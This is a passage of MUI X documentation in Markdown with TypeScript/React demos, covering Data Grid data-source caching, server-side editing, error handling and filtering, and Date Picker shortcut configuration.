import { useMockServer } from '@mui/x-data-grid-generator';

export default function ServerSideDataGrid() {
  const { columns, initialState, fetchRows } = useMockServer(
    {},
    { useCursorPagination: false },
  );

  const dataSource: GridDataSource = React.useMemo(
    () => ({
      getRows: async (params) => {
        const urlParams = new URLSearchParams({
          paginationModel: JSON.stringify(params.paginationModel),
          filterModel: JSON.stringify(params.filterModel),
          sortModel: JSON.stringify(params.sortModel),
        });
        const getRowsResponse = await fetchRows(
          `https://mui.com/x/api/data-grid?${urlParams.toString()}`,
        );
        return {
          rows: getRowsResponse.rows,
          rowCount: getRowsResponse.rowCount,
        };
      },
    }),
    [fetchRows],
  );

  return (
    <div style={{ width: '100%', height: 400 }}>
      <DataGrid
        columns={columns}
        dataSource={dataSource}
        pagination
        initialState={{
          ...initialState,
          pagination: { paginationModel: { pageSize: 10, page: 0 }, rowCount: 0 },
        }}
        pageSizeOptions={[10, 20, 50]}
      />
    </div>
  );
}

```

:::info
The Data Source demos use a `useMockServer()` utility function to simulate server-side data fetching.
In a real-world scenario you would replace this with your own server-side data-fetching logic.

Open the Info section of your browser console to see the requests being made and the data being fetched in response.
:::

## Data caching

The Data Source caches fetched data by default.
This means that if the user navigates to a page or expands a node that has already been fetched, the Grid will not call the `getRows()` function again to avoid unnecessary calls to the server.

By default, the Grid uses `GridDataSourceCacheDefault`, which is a simple in-memory cache that stores the data in a plain object.
You can see it working in the [Data Source demo above](#with-the-data-source).

### Improve the cache hit rate

To increase the cache hit rate, the Data Grid splits `getRows()` results into chunks before storing them in the cache.
For the requests that follow, chunks are combined as needed to recreate the response.
This means that a single request can make multiple calls to the `get()` or `set()` method of `GridDataSourceCache`.

Chunk size is the lowest expected amount of records per request based on the `pageSize` value from the `paginationModel` and `pageSizeOptions` props.
As a result, the values in the `pageSizeOptions` prop play an important role in the cache hit rate.
We recommend using values that are multiples of the lowest value—even better if each subsequent value is a multiple of the previous value.

Here are some examples:

- **Best-case scenario** – `pageSizeOptions={[5, 10, 50, 100]}`

  In this case the chunk size is 5, which means that with `pageSize={100}` there are 20 cache records stored.
  Retrieving data for any other `pageSize` up to the first 100 records results in a cache hit, since the whole dataset can be made of the existing chunks.

- **Parts of the data missing** – `pageSizeOptions={[10, 20, 50]}`

  Loading the first page with `pageSize={50}` results in 5 cache records.
  This works well with `pageSize={10}`, but not as well with `pageSize={20}`.
  Loading the third page with `pageSize={20}` results in a new request being made, even though half of the data is already in the cache.

- **Incompatible page sizes** – `pageSizeOptions={[7, 15, 40]}`

  In this situation, the chunk size is 7.
  Retrieving the first page with `pageSize={15}` creates chunks split into `[7, 7, 1]` records.
  Loading the second page creates three new chunks (again `[7, 7, 1]`), but now the third chunk from the first request has an overlap of 1 record with the first chunk of the second request.
  These chunks with 1 record can only be used as the last piece of a request for `pageSize={15}` and are useless in all other cases.

In the examples above, `sortModel` and `filterModel` remain unchanged.
Changing these would require a new response to be retrieved and stored in the chunks.

### Customize the cache lifetime

The `GridDataSourceCacheDefault` has a default time to live (TTL) of 5 minutes.
To customize this, pass the `ttl` option with a numerical value (in milliseconds) to the `GridDataSourceCacheDefault` constructor, then pass that to the `dataSourceCache` prop.

```tsx
import { GridDataSourceCacheDefault } from '@mui/x-data-grid';

const lowTTLCache = new GridDataSourceCacheDefault({ ttl: 1000 * 10 }); // 10 seconds

<DataGrid
  columns={columns}
  dataSource={customDataSource}
  dataSourceCache={lowTTLCache}
/>;
```

```tsx
import * as React from 'react';
import {
  DataGrid,
  GridDataSource,
  GridDataSourceCacheDefault,
} from '@mui/x-data-grid';
import { useMockServer } from '@mui/x-data-grid-generator';

const lowTTLCache = new GridDataSourceCacheDefault({ ttl: 1000 * 10 }); // 10 seconds

export default function ServerSideDataGridTTL() {
  const { columns, initialState, fetchRows } = useMockServer(
    {},
    { useCursorPagination: false },
  );

  const dataSource: GridDataSource = React.useMemo(
    () => ({
      getRows: async (params) => {
        const urlParams = new URLSearchParams({
          paginationModel: JSON.stringify(params.paginationModel),
          filterModel: JSON.stringify(params.filterModel),
          sortModel: JSON.stringify(params.sortModel),
        });
        const getRowsResponse = await fetchRows(
          `https://mui.com/x/api/data-grid?${urlParams.toString()}`,
        );
        return {
          rows: getRowsResponse.rows,
          rowCount: getRowsResponse.rowCount,
        };
      },
    }),
    [fetchRows],
  );

  const initialStateWithPagination = React.useMemo(
    () => ({
      ...initialState,
      pagination: {
        paginationModel: { pageSize: 10, page: 0 },
        rowCount: 0,
      },
    }),
    [initialState],
  );

  return (
    <div style={{ width: '100%', height: 400 }}>
      <DataGrid
        columns={columns}
        dataSource={dataSource}
        dataSourceCache={lowTTLCache}
        pagination
        initialState={initialStateWithPagination}
        pageSizeOptions={[10, 20, 50]}
      />
    </div>
  );
}

```

### Create a custom cache

Use the `dataSourceCache` prop to provide a custom cache, which may be written from scratch or based on a third-party cache library.
This prop accepts a generic interface of type `GridDataSourceCache`.

```tsx
export interface GridDataSourceCache {
  set: (key: GridGetRowsParams, value: GridGetRowsResponse) => void;
  get: (key: GridGetRowsParams) => GridGetRowsResponse | undefined;
  clear: () => void;
}
```

### Disable caching

To disable the Data Source cache, pass `null` to the `dataSourceCache` prop.

```tsx
<DataGrid columns={columns} dataSource={customDataSource} dataSourceCache={null} />
```

```tsx
import * as React from 'react';
import { DataGrid, GridDataSource } from '@mui/x-data-grid';
import { useMockServer } from '@mui/x-data-grid-generator';

const pageSizeOptions = [5, 10, 50];

const serverOptions = { useCursorPagination: false };
const dataSetOptions = {};

export default function ServerSideDataGridNoCache() {
  const { fetchRows, columns, initialState } = useMockServer(
    dataSetOptions,
    serverOptions,
  );

  const dataSource: GridDataSource = React.useMemo(
    () => ({
      getRows: async (params) => {
        const urlParams = new URLSearchParams({
          paginationModel: JSON.stringify(params.paginationModel),
          filterModel: JSON.stringify(params.filterModel),
          sortModel: JSON.stringify(params.sortModel),
        });
        const getRowsResponse = await fetchRows(
          `https://mui.com/x/api/data-grid?${urlParams.toString()}`,
        );
        return {
          rows: getRowsResponse.rows,
          rowCount: getRowsResponse.rowCount,
        };
      },
    }),
    [fetchRows],
  );

  const initialStateWithPagination = React.useMemo(
    () => ({
      ...initialState,
      pagination: {
        paginationModel: { pageSize: 10, page: 0 },
        rowCount: 0,
      },
    }),
    [initialState],
  );

  return (
    <div style={{ height: 400, width: '100%' }}>
      <DataGrid
        initialState={initialStateWithPagination}
        columns={columns}
        dataSource={dataSource}
        dataSourceCache={null}
        pagination
        pageSizeOptions={pageSizeOptions}
      />
    </div>
  );
}

```

:::success
To bypass the cache and force refetch rows from the server with a single `dataSource.fetchRows()` API method call, pass `skipCache` flag to the fetch options:

```tsx
apiRef.current.dataSource.fetchRows(GRID_ROOT_GROUP_ID, { skipCache: true });
```

The response will be used to refresh the cache.
:::

## Updating server-side data

The Data Source supports an optional `updateRow()` method for updating data on the server.

This method returns a promise that either resolves with the updated row, or else rejects if there's an update error.
If the promise resolves, the Grid updates the row and mutates the cache.
If there's an error, `onDataSourceError()` is triggered with the error object containing the params described in the [Error handling section](#error-handling) that follows.

```diff
 const dataSource: GridDataSource = {
  getRows: async (params: GridGetRowsParams) => {
    // fetch rows from the server
  },
+ updateRow: async (params: GridUpdateRowParams) => {
+   // update row on the server
+ },
 }
```

```tsx
import * as React from 'react';
import { DataGridPro, GridDataSource, useGridApiRef } from '@mui/x-data-grid-pro';
import { useMockServer } from '@mui/x-data-grid-generator';
import Button from '@mui/material/Button';

export default function ServerSideEditing() {
  const apiRef = useGridApiRef();
  const {
    columns,
    initialState: initState,
    fetchRows,
    editRow,
  } = useMockServer({ editable: true }, { useCursorPagination: false });

  const dataSource: GridDataSource = React.useMemo(
    () => ({
      getRows: async (params) => {
        const urlParams = new URLSearchParams({
          paginationModel: JSON.stringify(params.paginationModel),
          filterModel: JSON.stringify(params.filterModel),
          sortModel: JSON.stringify(params.sortModel),
        });
        const getRowsResponse = await fetchRows(
          `https://mui.com/x/api/data-grid?${urlParams.toString()}`,
        );
        return {
          rows: getRowsResponse.rows,
          rowCount: getRowsResponse.rowCount,
        };
      },
      updateRow: async (params) => {
        const syncedRow = await editRow(params.rowId, params.updatedRow);
        return syncedRow;
      },
    }),
    [fetchRows, editRow],
  );

  const initialState = React.useMemo(
    () => ({
      ...initState,
      pagination: {
        paginationModel: { pageSize: 10, page: 0 },
        rowCount: 0,
      },
    }),
    [initState],
  );

  return (
    <div style={{ width: '100%' }}>
      <Button
        onClick={() => {
          apiRef.current?.dataSource.cache.clear();
        }}
      >
        Clear cache
      </Button>
      <div style={{ height: 400 }}>
        <DataGridPro
          apiRef={apiRef}
          columns={columns}
          dataSource={dataSource}
          pagination
          initialState={initialState}
          pageSizeOptions={[10, 20, 50]}
        />
      </div>
    </div>
  );
}

```

:::warning
When using the `updateRow()` method, the Data Source cache is automatically cleared after successful updates to prevent displaying outdated data.
This means any previously cached data will be refetched on the next request.

For applications that require caching with editing operations, consider implementing server-side caching instead.

If you have a specific use case that requires preserving the client-side cache during edit operations, please [open an issue on GitHub](https://github.com/mui/mui-x/issues/new/choose) to help us understand your requirements.
:::

:::warning
The position and visibility of the edited row on the current page are maintained—even if features like sorting or filtering are enabled—and will take affect on the row after the values update.
Any changes to the position or visibility will be applied when the page is fetched again.

You can manually trigger a refetch by calling the `dataSource.fetchRows()` API method.
:::

## Error handling

You can handle errors with the Data Source by providing an error handler function with `onDataSourceError()`.
This gets called whenever there's an error in fetching or updating the data.
This function receives an error object of type `GridGetRowsError | GridUpdateRowError`.
Each error type has a corresponding `error.params` type which is passed as an argument to the callback:

| **Error type**       | `error.params` **type** |
| :------------------- | :---------------------- |
| `GridGetRowsError`   | `GridGetRowsParams`     |
| `GridUpdateRowError` | `GridUpdateRowParams`   |

```tsx
<DataGrid
  columns={columns}
  dataSource={customDataSource}
  onDataSourceError={(error) => {
    if (error instanceof GridGetRowsError) {
      // `error.params` is of type `GridGetRowsParams`
      // fetch related logic, e.g set an overlay state
    }
    if (error instanceof GridUpdateRowError) {
      // `error.params` is of type `GridUpdateRowParams`
      // update related logic, e.g set a snackbar state
    }
  }}
/>
```

The demo below renders a custom Snackbar component to display an error message when the requests fail, which you can simulate using the checkbox and the **Refetch rows** button at the top.
Caching has been disabled for simplicity.

```tsx
import * as React from 'react';
import {
  DataGrid,
  useGridApiRef,
  GridInitialState,
  GridDataSource,
  GridGetRowsError,
} from '@mui/x-data-grid';
import Button from '@mui/material/Button';
import Checkbox from '@mui/material/Checkbox';
import FormControlLabel from '@mui/material/FormControlLabel';
import Snackbar from '@mui/material/Snackbar';
import Alert, { AlertProps } from '@mui/material/Alert';
import { alpha, styled, darken, lighten } from '@mui/material/styles';
import { useMockServer } from '@mui/x-data-grid-generator';

const pageSizeOptions = [5, 10, 50];
const serverOptions = { useCursorPagination: false };
const datasetOptions = { editable: true };

const StyledDiv = styled('div')(({ theme: t }) => ({
  position: 'absolute',
  zIndex: 10,
  fontSize: '0.875em',
  top: 0,
  height: '100%',
  width: '100%',
  display: 'flex',
  alignItems: 'center',
  justifyContent: 'center',
  borderRadius: '4px',
  border: `1px solid ${lighten(alpha(t.palette.divider, 1), 0.88)}`,
  backgroundColor: t.palette.background.default,
  ...t.applyStyles('dark', {
    borderColor: darken(alpha(t.palette.divider, 1), 0.68),
  }),
}));

function ErrorOverlay({ error }: { error: string }) {
  if (!error) {
    return null;
  }
  return <StyledDiv>{error}</StyledDiv>;
}

export default function ServerSideErrorHandling() {
  const apiRef = useGridApiRef();
  const [error, setError] = React.useState<string>();
  const [snackbar, setSnackbar] = React.useState<AlertProps | null>(null);
  const [shouldRequestsFail, setShouldRequestsFail] = React.useState(false);

  const { fetchRows, editRow, ...props } = useMockServer(
    datasetOptions,
    serverOptions,
    shouldRequestsFail,
  );

  const dataSource: GridDataSource = React.useMemo(
    () => ({
      getRows: async (params) => {
        const urlParams = new URLSearchParams({
          paginationModel: JSON.stringify(params.paginationModel),
          filterModel: JSON.stringify(params.filterModel),
          sortModel: JSON.stringify(params.sortModel),
        });
        const getRowsResponse = await fetchRows(
          `https://mui.com/x/api/data-grid?${urlParams.toString()}`,
        );
        return {
          rows: getRowsResponse.rows,
          rowCount: getRowsResponse.rowCount,
        };
      },
      updateRow: async (params) => {
        const syncedRow = await editRow(params.rowId, params.updatedRow);
        return syncedRow;
      },
    }),
    [fetchRows, editRow],
  );

  const initialState: GridInitialState = React.useMemo(
    () => ({
      ...props.initialState,
      pagination: {
        paginationModel: {
          pageSize: 5,
        },
        rowCount: 0,
      },
    }),
    [props.initialState],
  );

  const handleCloseSnackbar = () => {
    setSnackbar(null);
  };

  return (
    <div style={{ width: '100%' }}>
      <div style={{ display: 'flex', justifyContent: 'space-between' }}>
        <Button
          onClick={() => {
            setError('');
            apiRef.current?.dataSource.fetchRows();
          }}
        >
          Refetch rows
        </Button>
        <FormControlLabel
          control={
            <Checkbox
              checked={shouldRequestsFail}
              onChange={(event) => setShouldRequestsFail(event.target.checked)}
            />
          }
          label="Make the requests fail"
        />
      </div>
      <div style={{ height: 400, position: 'relative' }}>
        <DataGrid
          {...props}
          dataSource={dataSource}
          onDataSourceError={(dataSourceError) => {
            if (dataSourceError instanceof GridGetRowsError) {
              setError(dataSourceError.message);
              return;
            }
            setSnackbar({ children: dataSourceError.message, severity: 'error' });
          }}
          dataSourceCache={null}
          apiRef={apiRef}
          pagination
          pageSizeOptions={pageSizeOptions}
          initialState={initialState}
          showToolbar
        />
        {!!snackbar && (
          <Snackbar
            open
            anchorOrigin={{ vertical: 'bottom', horizontal: 'center' }}
            onClose={handleCloseSnackbar}
            autoHideDuration={6000}
          >
            <Alert {...snackbar} onClose={handleCloseSnackbar} />
          </Snackbar>
        )}
        {error && <ErrorOverlay error={error} />}
      </div>
    </div>
  );
}

```

## API

- [DataGrid](/x/api/data-grid/data-grid/)
- [DataGridPro](/x/api/data-grid/data-grid-pro/)
- [DataGridPremium](/x/api/data-grid/data-grid-premium/)

---

# Source: https://mui.com/x/react-data-grid/filtering/server-side.md

# Data Grid - Server-side filter

Filter rows on the server.

Filtering can be run server-side by setting the `filterMode` prop to `server`, and implementing the `onFilterModelChange` handler.

The example below demonstrates how to achieve server-side filtering.

```tsx
import * as React from 'react';
import { DataGrid, GridFilterModel } from '@mui/x-data-grid';
import { createFakeServer } from '@mui/x-data-grid-generator';

const { useQuery, ...data } = createFakeServer();

export default function ServerFilterGrid() {
  const [queryOptions, setQueryOptions] = React.useState({});

  const onFilterChange = React.useCallback((filterModel: GridFilterModel) => {
    // Here you save the data you need from the filter model
    setQueryOptions({ filterModel: { ...filterModel } });
  }, []);

  const { isLoading, rows } = useQuery(queryOptions);

  return (
    <div style={{ height: 400, width: '100%' }}>
      <DataGrid
        {...data}
        rows={rows}
        filterMode="server"
        onFilterModelChange={onFilterChange}
        loading={isLoading}
      />
    </div>
  );
}

```

:::success
You can combine server-side filtering with [server-side sorting](/x/react-data-grid/sorting/#server-side-sorting) and [server-side pagination](/x/react-data-grid/pagination/#server-side-pagination) to avoid fetching more data than needed, since it's already processed outside of the Data Grid.
:::

## API

- [DataGrid](/x/api/data-grid/data-grid/)
- [DataGridPro](/x/api/data-grid/data-grid-pro/)
- [DataGridPremium](/x/api/data-grid/data-grid-premium/)

---

# Source: https://mui.com/x/react-date-pickers/shortcuts.md

---
productId: x-date-pickers
title: Date and Time Pickers - Shortcuts
components: PickersShortcuts
---

# Shortcuts

The date picker lets you add custom shortcuts.

## Adding shortcuts

By default, pickers use the `PickersShortcuts` component to display shortcuts.
This component accepts a `shortcuts` prop as an array of `PickersShortcutsItem`.
Those items are made of two required attributes:

- `label`: The string displayed on the shortcut chip. This property must be unique.
- `getValue`: A function that returns the value associated to the shortcut.

You can use `slotProps.shortcuts` to customize this prop. For example to add a shortcut to Christmas Day, you can do the following:

```jsx
<DatePicker
  slotProps={{
    shortcuts: {
      items: [
        {
          label: 'Christmas',
          getValue: () => {
            return dayjs(new Date(2023, 11, 25));
          },
        },
      ],
    },
  }}
/>
```

```tsx
import dayjs, { Dayjs } from 'dayjs';
import { LocalizationProvider } from '@mui/x-date-pickers/LocalizationProvider';
import { AdapterDayjs } from '@mui/x-date-pickers/AdapterDayjs';
import { StaticDatePicker } from '@mui/x-date-pickers/StaticDatePicker';
import { PickersShortcutsItem } from '@mui/x-date-pickers/PickersShortcuts';

const getMonthWeekday = (
  monthIndex: number,
  weekdayIndex: number,
  dayRank: number,
) => {
  // Helper to find the nth weekday in a given month.
  // For example, Find the 3rd Monday in January.
  const today = dayjs();
  const firstDayOfMonth = today.month(monthIndex).startOf('month');
  const weekDay = firstDayOfMonth.day(); // 0 (Sunday) to 6 (Saturday)

  const deltaToFirstValidWeekDayInMonth =
    (weekDay > weekdayIndex ? 7 : 0) + weekdayIndex - weekDay;
  return firstDayOfMonth.add(
    (dayRank - 1) * 7 + deltaToFirstValidWeekDayInMonth,
    'day',
  );
};

const shortcutsItems: PickersShortcutsItem<Dayjs | null>[] = [
  {
    label: "New Year's Day",
    getValue: () => {
      // (January 1)
      const today = dayjs();
      return today.month(0).date(1);
    },
  },
  {
    label: 'Birthday of MLK Jr.',
    getValue: () => {
      // (third Monday in January)
      return getMonthWeekday(0, 1, 3);
    },
  },
  {
    label: 'Independence Day',
    getValue: () => {
      // (July 4)
      const today = dayjs();
      return today.month(6).date(4);
    },
  },
  {
    label: 'Labor Day',
    getValue: () => {
      // (first Monday in September)
      return getMonthWeekday(8, 1, 1);
    },
  },
  {
    label: 'Thanksgiving Day',
    getValue: () => {
      // (fourth Thursday in November)
      return getMonthWeekday(10, 4, 4);
    },
  },
  {
    label: 'Christmas Day',
    getValue: () => {
      // (December 25)
      const today = dayjs();
      return today.month(11).date(25);
    },
  },
];

export default function BasicShortcuts() {
  return (
    <LocalizationProvider dateAdapter={AdapterDayjs}>
      <StaticDatePicker
        slotProps={{
          shortcuts: {
            items: shortcutsItems,
          },
        }}
      />
    </LocalizationProvider>
  );
}

```

## Disabled dates

By default, the shortcuts are disabled if the returned value does not pass validation.
Here is an example where `minDate` is set to the middle of the year.

```tsx
import dayjs, { Dayjs } from 'dayjs';
import { LocalizationProvider } from '@mui/x-date-pickers/LocalizationProvider';
import { AdapterDayjs } from '@mui/x-date-pickers/AdapterDayjs';
import { StaticDatePicker } from '@mui/x-date-pickers/StaticDatePicker';
import { PickersShortcutsItem } from '@mui/x-date-pickers/PickersShortcuts';

const getMonthWeekday = (
  monthIndex: number,
  weekdayIndex: number,
  dayRank: number,
) => {
  // Helper to find the nth weekday in a given month.
  // For example, Find the 3rd Monday in January.
  const today = dayjs();
  const firstDayOfMonth = today.month(monthIndex).startOf('month');
  const weekDay = firstDayOfMonth.day(); // 0 (Sunday) to 6 (Saturday)

  const deltaToFirstValidWeekDayInMonth =
    (weekDay > weekdayIndex ? 7 : 0) + weekdayIndex - weekDay;
  return firstDayOfMonth.add(
    (dayRank - 1) * 7 + deltaToFirstValidWeekDayInMonth,
    'day',
  );
};

const shortcutsItems: PickersShortcutsItem<Dayjs | null>[] = [
  {
    label: "New Year's Day",
    getValue: () => {
      // (January 1)
      const today = dayjs();
      return today.month(0).date(1);
    },
  },
  {
    label: 'Birthday of MLK Jr.',
    getValue: () => {
      // (third Monday in January)
      return getMonthWeekday(0, 1, 3);
    },
  },
  {
    label: 'Independence Day',
    getValue: () => {
      // (July 4)
      const today = dayjs();
      return today.month(6).date(4);
    },
  },
  {
    label: 'Labor Day',
    getValue: () => {
      // (first Monday in September)
      return getMonthWeekday(8, 1, 1);
    },
  },
  {
    label: 'Veterans Day',
    getValue: () => {
      // (November 11)
      const today = dayjs();
      return today.month(10).date(11);
    },
  },
  {
    label: 'Thanksgiving Day',
    getValue: () => {
      // (fourth Thursday in November)
      return getMonthWeekday(10, 4, 4);
    },
  },
  {
    label: 'World AIDS Day',
    getValue: () => {
      // (December 1)
      const today = dayjs();
      return today.month(11).date(1);
    },
  },
  {
    label: 'Christmas Day',
    getValue: () => {
      // (December 25)
      const today = dayjs();
      return today.month(11).date(25);
    },
  },
];

export default function DisabledDatesShortcuts() {
  const middleDate = dayjs(new Date().setMonth(6));

  return (
    <LocalizationProvider dateAdapter={AdapterDayjs}>
      <StaticDatePicker
        slotProps={{
          shortcuts: {
            items: shortcutsItems,
          },
        }}
        minDate={middleDate}
      />
    </LocalizationProvider>
  );
}

```

## Range shortcuts [<span class="plan-pro"></span>](/x/introduction/licensing/#pro-plan 'Pro plan')

Shortcuts on range pickers require `getValue` property to return an array with two values.

```tsx
import dayjs, { Dayjs } from 'dayjs';
import { LocalizationProvider } from '@mui/x-date-pickers/LocalizationProvider';
import { AdapterDayjs } from '@mui/x-date-pickers/AdapterDayjs';
import { StaticDateRangePicker } from '@mui/x-date-pickers-pro/StaticDateRangePicker';
import { PickersShortcutsItem } from '@mui/x-date-pickers/PickersShortcuts';
import { DateRange } from '@mui/x-date-pickers-pro/models';

const shortcutsItems: PickersShortcutsItem<DateRange<Dayjs>>[] = [
  {
    label: 'This Week',
    getValue: () => {
      const today = dayjs();
      return [today.startOf('week'), today.endOf('week')];
    },
  },
  {
    label: 'Last Week',
    getValue: () => {
      const today = dayjs();
      const prevWeek = today.subtract(7, 'day');
      return [prevWeek.startOf('week'), prevWeek.endOf('week')];
    },
  },
  {
    label: 'Last 7 Days',
    getValue: () => {
      const today = dayjs();
      return [today.subtract(7, 'day'), today];
    },
  },
  {
    label: 'Current Month',
    getValue: () => {
      const today = dayjs();
      return [today.startOf('month'), today.endOf('month')];
    },
  },
  {
    label: 'Next Month',
    getValue: () => {
      const today = dayjs();
      const startOfNextMonth = today.endOf('month').add(1, 'day');
      return [startOfNextMonth, startOfNextMonth.endOf('month')];
    },
  },
  { label: 'Reset', getValue: () => [null, null] },
];

export default function BasicRangeShortcuts() {
  return (
    <LocalizationProvider dateAdapter={AdapterDayjs}>
      <StaticDateRangePicker
        slotProps={{
          shortcuts: {
            items: shortcutsItems,
          },
        }}
      />
    </LocalizationProvider>
  );
}

```

## Advanced shortcuts

### Use validation to get the value

The `getValue` methods receive a `isValid` helper function.
You can use it to test if a value is valid or not based on the [validation props](/x/react-date-pickers/validation/).

In the following demonstration, it is used to get the next available week and weekend.

```tsx
import dayjs, { Dayjs } from 'dayjs';
import { LocalizationProvider } from '@mui/x-date-pickers/LocalizationProvider';
import { AdapterDayjs } from '@mui/x-date-pickers/AdapterDayjs';
import { StaticDateRangePicker } from '@mui/x-date-pickers-pro/StaticDateRangePicker';
import { PickersShortcutsItem } from '@mui/x-date-pickers/PickersShortcuts';
import { DateRange } from '@mui/x-date-pickers-pro/models';

const shortcutsItems: PickersShortcutsItem<DateRange<Dayjs>>[] = [
  {
    label: 'Next Available Weekend',
    getValue: ({ isValid }) => {
      const today = dayjs();
      const nextSaturday =
        today.day() <= 6
          ? today.add(6 - today.day(), 'day')
          : today.add(7 + 6 - today.day(), 'day');

      let maxAttempts = 50;
      let solution: [Dayjs, Dayjs] = [nextSaturday, nextSaturday.add(1, 'day')];
      while (maxAttempts > 0 && !isValid(solution)) {
        solution = [solution[0].add(7, 'day'), solution[1].add(7, 'day')];
        maxAttempts -= 1;
      }

      return solution;
    },
  },
  {
    label: 'Next Available Week',
    getValue: ({ isValid }) => {
      const today = dayjs();
      const nextMonday =
        today.day() <= 1
          ? today.add(1 - today.day(), 'day')
          : today.add(7 + 1 - today.day(), 'day');

      let maxAttempts = 50;
      let solution: [Dayjs, Dayjs] = [nextMonday, nextMonday.add(4, 'day')];
      while (maxAttempts > 0 && !isValid(solution)) {
        solution = [solution[0].add(7, 'day'), solution[1].add(7, 'day')];
        maxAttempts -= 1;
      }

      return solution;
    },
  },
  { label: 'Reset', getValue: () => [null, null] },
];

const shouldDisableDate = (date: Dayjs) => {
  const today = dayjs();

  if (today.isSame(date, 'month')) {
    return true;
  }
  const nextMonth = today.add(1, 'month').startOf('month');

  if (date.isSame(nextMonth, 'month')) {
    if (date.isSame(nextMonth, 'week')) {
      return true;
    }
    return [10, 11, 12, 16, 18, 29, 30].includes(date.date());
  }
  return false;
};

export default function AdvancedRangeShortcuts() {
  return (
    <LocalizationProvider dateAdapter={AdapterDayjs}>
      <StaticDateRangePicker
        shouldDisableDate={shouldDisableDate}
        slotProps={{
          shortcuts: {
            items: shortcutsItems,
          },
        }}
      />
    </LocalizationProvider>
  );
}

```

### Know which shortcut has been selected

The `onChange` callback receives the shortcut as a property of its second argument.
You can use it to find out which shortcut has been chosen:

```tsx
import * as React from 'react';
import dayjs, { Dayjs } from 'dayjs';
import Stack from '@mui/material/Stack';
import Typography from '@mui/material/Typography';
import { LocalizationProvider } from '@mui/x-date-pickers/LocalizationProvider';
import { AdapterDayjs } from '@mui/x-date-pickers/AdapterDayjs';
import { StaticDatePicker } from '@mui/x-date-pickers/StaticDatePicker';
import {
  PickersShortcutsItem,
  PickersShortcutsItemContext,
} from '@mui/x-date-pickers/PickersShortcuts';
import {
  DateValidationError,
  PickerChangeHandlerContext,
} from '@mui/x-date-pickers/models';

const getMonthWeekday = (
  monthIndex: number,
  weekdayIndex: number,
  dayRank: number,
) => {
  // Helper to find for example the 3rd monday in Jun
  const today = dayjs();
  const firstDayOfMonth = today.month(monthIndex).startOf('month');
  const weekDay = firstDayOfMonth.day(); // 0 (Sunday) to 6 (Saturday)

  const deltaToFirstValidWeekDayInMonth =
    (weekDay > weekdayIndex ? 7 : 0) + weekdayIndex - weekDay;
  return firstDayOfMonth.add(
    (dayRank - 1) * 7 + deltaToFirstValidWeekDayInMonth,
    'day',
  );
};

const shortcutsItems: PickersShortcutsItem<Dayjs | null>[] = [
  {
    label: "New Year's Day",
    getValue: () => {
      // (January 1)
      const today = dayjs();
      return today.month(0).date(1);
    },
  },
  {
    label: 'Birthday of MLK Jr.',
    getValue: () => {
      // (third Monday in January)
      return getMonthWeekday(0, 1, 3);
    },
  },
  {
    label: 'Independence Day',
    getValue: () => {
      // (July 4)
      const today = dayjs();
      return today.month(6).date(4);
    },
  },
  {
    label: 'Labor Day',
    getValue: () => {
      // (first Monday in September)
      return getMonthWeekday(8, 1, 1);
    },
  },
  {
    label: 'Thanksgiving Day',
    getValue: () => {
      // (fourth Thursday in November)
      return getMonthWeekday(10, 4, 4);
    },
  },
  {
    label: 'Christmas Day',
    getValue: () => {
      // (December 25)
      const today = dayjs();
      return today.month(11).date(25);
    },
  },
];

export default function OnChangeShortcutLabel() {
  const [value, setValue] = React.useState<Dayjs | null>(null);
  const [lastShortcutSelected, setLastShortcutSelected] = React.useState<
    PickersShortcutsItemContext | undefined
  >(undefined);

  const handleChange = (
    newValue: Dayjs | null,
    ctx: PickerChangeHandlerContext<DateValidationError>,
  ) => {
    setValue(newValue);
    setLastShortcutSelected(ctx.shortcut);
  };

  return (
    <LocalizationProvider dateAdapter={AdapterDayjs}>
      <Stack spacing={2}>
        <StaticDatePicker
          value={value}
          onChange={handleChange}
          slotProps={{
            shortcuts: {
              items: shortcutsItems,
            },
          }}
        />
        <Typography>
          Selected shortcut on last onChange call:{' '}
          {lastShortcutSelected === undefined ? 'none' : lastShortcutSelected.label}
        </Typography>
      </Stack>
    </LocalizationProvider>
  );
}

```

## Behavior when selecting a shortcut

You can change the behavior when selecting a shortcut using the `changeImportance` property:

- `"accept"` (_default value_): fires `onChange`, fires `onAccept` and closes the picker.
- `"set"`: fires `onChange` but does not fire `onAccept` and does not close the picker.

```tsx
import * as React from 'react';
import dayjs, { Dayjs } from 'dayjs';
import Stack from '@mui/material/Stack';
import { LocalizationProvider } from '@mui/x-date-pickers/LocalizationProvider';
import { AdapterDayjs } from '@mui/x-date-pickers/AdapterDayjs';
import { DatePicker } from '@mui/x-date-pickers/DatePicker';
import { PickersShortcutsItem } from '@mui/x-date-pickers/PickersShortcuts';
import { PickerChangeImportance } from '@mui/x-date-pickers/models';
import ToggleButtonGroup from '@mui/material/ToggleButtonGroup';
import ToggleButton from '@mui/material/ToggleButton';

const getMonthWeekday = (
  monthIndex: number,
  weekdayIndex: number,
  dayRank: number,
) => {
  // Helper to find the nth weekday in a given month.
  // For example, Find the 3rd Monday in January.
  const today = dayjs();
  const firstDayOfMonth = today.month(monthIndex).startOf('month');
  const weekDay = firstDayOfMonth.day(); // 0 (Sunday) to 6 (Saturday)

  const deltaToFirstValidWeekDayInMonth =
    (weekDay > weekdayIndex ? 7 : 0) + weekdayIndex - weekDay;
  return firstDayOfMonth.add(
    (dayRank - 1) * 7 + deltaToFirstValidWeekDayInMonth,
    'day',
  );
};

const shortcutsItems: PickersShortcutsItem<Dayjs | null>[] = [
  {
    label: "New Year's Day",
    getValue: () => {
      // (January 1)
      const today = dayjs();
      return today.month(0).date(1);
    },
  },
  {
    label: 'Birthday of MLK Jr.',
    getValue: () => {
      // (third Monday in January)
      return getMonthWeekday(0, 1, 3);
    },
  },
  {
    label: 'Independence Day',
    getValue: () => {
      // (July 4)
      const today = dayjs();
      return today.month(6).date(4);
    },
  },
  {
    label: 'Labor Day',
    getValue: () => {
      // (first Monday in September)
      return getMonthWeekday(8, 1, 1);
    },
  },
  {
    label: 'Thanksgiving Day',
    getValue: () => {
      // (fourth Thursday in November)
      return getMonthWeekday(10, 4, 4);
    },
  },
  {
    label: 'Christmas Day',
    getValue: () => {
      // (December 25)
      const today = dayjs();
      return today.month(11).date(25);
    },
  },
];

export default function ChangeImportance() {
  const [changeImportance, setChangeImportance] =
    React.useState<PickerChangeImportance>('accept');

  return (
    <LocalizationProvider dateAdapter={AdapterDayjs}>
      <Stack spacing={3} sx={{ width: 300 }}>
        <ToggleButtonGroup
          value={changeImportance}
          exclusive
          fullWidth
          onChange={(event, newEventImportance) => {
            if (newEventImportance != null) {
              setChangeImportance(newEventImportance);
            }
          }}
        >
          <ToggleButton value="accept">accept</ToggleButton>
